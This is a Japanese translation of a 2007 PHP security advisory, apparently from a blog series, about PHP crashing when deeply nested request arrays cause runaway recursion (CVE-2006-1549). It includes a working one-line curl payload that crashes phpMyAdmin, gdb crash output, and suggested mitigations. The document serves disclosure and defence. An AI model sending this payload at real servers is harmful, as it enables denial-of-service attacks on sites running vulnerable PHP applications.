MOPB-02-2007:PHP Executor Deep Recursion Stack Overflow

(Last Updated On: 2018/08/16)

“the Month of PHP Bugs”をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。

■クレジット
発見者:不明
実証コード:不必要

■PoCまたは攻撃コード
不必要

■リファレンス
CVE-2006-1549
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1549

■サマリ
MOPBの初日は既知の問題でも修正されていない脆弱性を取り扱っています。このカテゴリの次のバグはPHPが深すぎる再帰呼び出しの防御を行っていない問題です。(訳注:PHPは再帰呼び出しが深すぎるとクラッシュする。Ruby、Pythonは再帰呼び出しの回数を制限し、Perlはシステムが許す限りのリソースを使う)PHPアプリケーションが非常に多くの再帰呼び出しを行い、スタックを使い切るとクラッシュします。この問題は非常に古い問題ですが昨年CVE名が割り当てられました。

■影響するバージョン
すべてのPHP

■詳細情報
多くの最近のPHPアプリケーションはユーザ入力にたいしてチェックや利用のための準備を行っています。例としてmagic_quotes_gpcが有効なサーバ上でその効果を取り除いたり、register_globals=on/off状況をエミュレートするPHPアプリケーションは珍しくありません。

ユーザ入力を必要な状態に整える為に簡単な再帰呼び出し関数が利用されることが多くあります。しかし、PHPは非常にネストレベルが深い配列構造を受け付けるようになっています。そのような配列が渡されると、例えばphpMyAdminのようなPHPアプリケーションは、ユーザ入力はスタックが溢れクラッシュするまで再帰的に処理されます。

$ curl http://127.0.0.1/phpmyadmin/ -d a`php -r 'echo str_repeat("[a]",20000);'`=1
curl: (52) Empty reply from server

このリクエストを送ったApacheのプロセスをgdbで見ると

$ gdb
(...)
(gdb) attach 12345
(gdb) continue
Continuing

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1211787584 (LWP 6073)]
0xb799c218 in zend_get_zval_ptr_ptr () from /usr/lib/apache/1.3/libphp5.so
(gdb) bt
#0  0xb799c218 in zend_get_zval_ptr_ptr () from /usr/lib/apache/1.3/libphp5.so
#1  0xb793c73a in execute () from /usr/lib/apache/1.3/libphp5.so
#2  0xb793baf8 in execute () from /usr/lib/apache/1.3/libphp5.so
...
#24863 0xb79406e3 in execute () from /usr/lib/apache/1.3/libphp5.so
#24864 0xb793baf8 in execute () from /usr/lib/apache/1.3/libphp5.so
#24865 0xb791fde8 in zend_execute_scripts () from /usr/lib/apache/1.3/libphp5.so
#24866 0xb78dbb6b in php_execute_script () from /usr/lib/apache/1.3/libphp5.so
#24867 0xb799df9d in apache_php_module_main () from /usr/lib/apache/1.3/libphp5.so
...
(gdb) x/5i $eip
0xb799c218 :        call   0xb7704570 
0xb799c21d :        add    $0x2373cf,%ebx
0xb799c223 :        test   %edx,%edx
0xb799c225 :        je     0xb799c3e6 
0xb799c22b :        mov    0xc(%ebp),%eax
(gdb) x/20x $esp-4
0xbf322f9c:     Cannot access memory at address 0xbf322f9c
(gdb)

このバックトレースとレジスタから、スタックポインタがクラッシュを発生させる非ページメモリアドレスを参照する関数呼び出しを行おうとしている事が解かります。

■PoC、攻撃コードまたは再現手順
詳細情報を参照。

■備考
PHP開発者はこの問題を修正しようと思っていません。数えきれないほどの議論がありましたがPHP開発者はどの解決策も受け入れようとしませんでした。

PHPユーザとしてはいくつかのワークアラウンドが選択できます。Suhosin(またはxdebug)(訳注:xdebugはデバッグ用のモジュールで運用サーバに導入するのはお勧めできません)のようなアプリケーションによる深すぎる再帰呼び出しを制限しクラッシュを回避するモジュールをインストールするか、同様の機能をPHPのコアに直接パッチする事ができます。

投稿者: yohgaki